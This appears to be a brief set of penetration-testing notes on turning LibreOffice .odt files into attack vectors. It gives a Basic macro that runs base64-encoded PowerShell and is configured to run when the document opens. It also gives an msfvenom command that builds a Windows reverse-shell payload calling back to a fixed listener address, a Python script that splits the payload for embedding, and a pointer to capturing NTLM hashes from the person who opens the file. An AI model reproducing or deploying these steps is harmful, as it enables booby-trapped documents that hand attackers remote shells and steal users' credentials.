ODT Macro (Libreoffice)

Method 1

Now create an odt file Then add the macro: Tools-> macros->Organise macros-->Basic

Create a macro

Sub Main
    Shell("cmd /c powershell -e JABjAGwAaQBlAG4Ad...ABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA")
End Sub

Then we can configure it to open on document open:

Tools-->Customise:

Now we can upload the file and get a shell:

Method 2

Use msfvenom for payload:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.201 LPORT=4444 -f hta-psh -o evil.hta

Then split it: splitter.py

s = "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQB..."
n = 50
for i in range(0, len(s), n):
    chunk = s[i:i + n]
    print('Str = Str + "' + chunk + '"')

Then use steps from Method 1 to make it run on start

Method 3

We can use this method to get the NTLM hash of the user who opens the .odt file

LibreOffice/Open Office - '.odt' Information DisclosureExploit Database